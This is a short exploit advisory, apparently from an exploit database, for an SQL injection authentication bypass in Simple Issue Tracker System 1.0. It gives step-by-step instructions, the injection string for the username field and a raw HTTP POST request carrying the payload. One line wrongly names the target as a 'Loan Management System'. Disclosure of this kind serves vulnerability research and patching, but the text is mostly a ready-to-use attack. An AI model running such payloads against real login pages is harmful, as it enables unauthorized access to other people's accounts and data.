Simple Issue Tracker System 1.0 - SQLi Authentication Bypass

# Exploit Title: Simple Issue Tracker System 1.0 - SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Bekir Bugra TURKOGLU
# Vendor Homepage: https://www.sourcecodester.com/php/14938/simple-issue-tracker-system-project-using-php-and-sqlite-free-download.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14938&title=Simple+Issue+Tracker+System+Project+using+PHP+and+SQLite+Source+Code+Free+Download
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.


Steps To Reproduce:

1 - Go to the login page http://localhost/issue_tracker/login.php
2 - Enter the payload to username field as "admin" or  " ' OR 1 -- - " and enter any character in the password field.
3 - Click on "Login" button and successful login.

PoC

POST /issue_tracker/Actions.php?a=login HTTP/1.1
Host: 192.168.0.111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://localhost
Connection: close
Referer: http://localhost/issue_tracker/login.php
Cookie: PHPSESSID=71bod5tipklk329lpsoqkvfcb9


username='+OR+1+--+-&password=1